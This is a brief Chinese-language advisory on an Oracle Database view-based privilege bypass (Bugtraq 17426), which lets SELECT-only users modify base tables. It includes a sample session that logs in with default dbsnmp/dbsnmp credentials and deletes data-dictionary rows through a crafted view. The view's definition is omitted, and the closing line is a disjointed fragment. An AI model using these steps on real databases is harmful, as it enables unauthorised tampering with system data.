影響版本: Oracle Database 9.2.0.0 至 10.2.0.3
Bugtraq ID: 17426
該版本允許僅擁有 SELECT 權限的使用者,透過精心設計的 View 對基礎表執行 INSERT、UPDATE、DELETE 操作。成功利用可導致低權限使用者竄改資料字典資料(雖大多數字典表無 Primary Key,影響相對有限)。
SQL> CONNECT dbsnmp/dbsnmp
SQL> SELECT * FROM v$version;
-- 確認版本為 10.1.0.4.0
SQL> DELETE FROM sys.registry$;
-- ORA-01031: insufficient privileges (正常預期)
SQL> CREATE OR REPLACE VIEW e AS SELECT ...; -- 特製 View 定義 (細節略)
VIEW created.
SQL> DELETE FROM e;
17 rows deleted. -- 漏洞觸發,繞過權限檢查
CREATE VIEW、CREATE DATABASE LINK 等權限。參考連結:Bugtraq 討論串